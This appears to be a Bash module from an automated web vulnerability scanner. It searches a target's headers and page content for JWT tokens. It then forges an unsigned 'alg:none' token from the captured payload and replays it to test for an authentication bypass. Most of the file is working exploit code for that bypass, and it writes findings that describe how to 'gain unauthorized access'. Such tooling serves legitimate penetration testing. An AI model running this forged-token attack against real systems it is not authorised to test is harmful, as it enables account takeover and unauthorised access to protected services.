68 lines
2.4 KiB
Bash
Executable File
68 lines
2.4 KiB
Bash
Executable File
1|#!/usr/bin/env bash
|
|
2|# Vector 12: JWT Attacks
|
|
3|# Desc: JWT token manipulation (none alg, weak keys, etc.)
|
|
4|# Detect: JWT tokens in cookies, headers, or params
|
|
5|# Severity: HIGH
|
|
6|# Tools: curl, jq
|
|
7|
|
|
8|vector_jwt() {
|
|
local target="$1"
|
|
local report="$2"
|
|
local findings=0
|
|
|
|
print_info "Testing JWT attack vectors..."
|
|
|
|
# Look for JWT in cookies or headers
|
|
local auth_header=$(curl -sI --connect-timeout 5 --max-time 10 "$target" 2>/dev/null | grep -i "^authorization:\|^set-cookie:")
|
|
local jwt_pattern='eyJ[a-zA-Z0-9_-]*\.eyJ[a-zA-Z0-9_-]*\.[a-zA-Z0-9_-]*'
|
|
|
|
local jwt=$(echo "$auth_header" | perl -nle 'print \$& if /\$jwt_pattern/' | head -1)
|
|
|
|
if [ -z "$jwt" ]; then
|
|
# Check page content
|
|
local page=$(curl -s --connect-timeout 5 --max-time 10 "$target" 2>/dev/null)
|
|
jwt=$(echo "$page" | perl -nle 'print \$& if /\$jwt_pattern/' | head -1)
|
|
fi
|
|
|
|
if [ -n "$jwt" ]; then
|
|
print_find "JWT token found!" "${jwt:0:50}..."
|
|
|
|
# Decode header
|
|
local header=$(echo "$jwt" | cut -d. -f1 | base64 -d 2>/dev/null)
|
|
local payload=$(echo "$jwt" | cut -d. -f2 | base64 -d 2>/dev/null)
|
|
|
|
print_info "Header: $header"
|
|
print_info "Payload: $payload"
|
|
|
|
# Test "none" algorithm attack
|
|
local header_b64=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_')
|
|
local payload_b64=$(echo "$jwt" | cut -d. -f2)
|
|
local none_jwt="${header_b64}.${payload_b64}."
|
|
|
|
local response=$(curl -s --connect-timeout 5 --max-time 10 \
|
|
-H "Authorization: Bearer $none_jwt" \
|
|
"$target" 2>/dev/null)
|
|
|
|
if echo "$response" | grep -qi "admin\|dashboard\|profile\|200\|success"; then
|
|
print_find "JWT 'none' algorithm bypass!" "Token accepted without signature"
|
|
echo "SEVERITY: CRITICAL
|
|
49|VECTOR: JWT Algorithm Confusion (none)
|
|
50|DETAIL: Server accepts 'alg:none' JWT token on $target
|
|
51|EVIDENCE: Token with 'none' alg accepted by server
|
|
52|EXPLOIT: Replace alg with 'none', remove signature, gain unauthorized access" > "$REPORTS_DIR/.finding_$(date +%s)_jwt-none.txt"
|
|
findings=$((findings + 1))
|
|
fi
|
|
|
|
# Save JWT info for report
|
|
echo "SEVERITY: INFO
|
|
58|VECTOR: JWT Token Discovery
|
|
59|DETAIL: JWT token found on $target
|
|
60|EVIDENCE: Token: ${jwt:0:80}...
|
|
61|EXPLOIT: Try jwt_tool for further analysis" > "$REPORTS_DIR/.finding_$(date +%s)_jwt-found.txt"
|
|
else
|
|
print_skip "No JWT tokens found"
|
|
fi
|
|
|
|
return $findings
|
|
67|}
|
|
68| |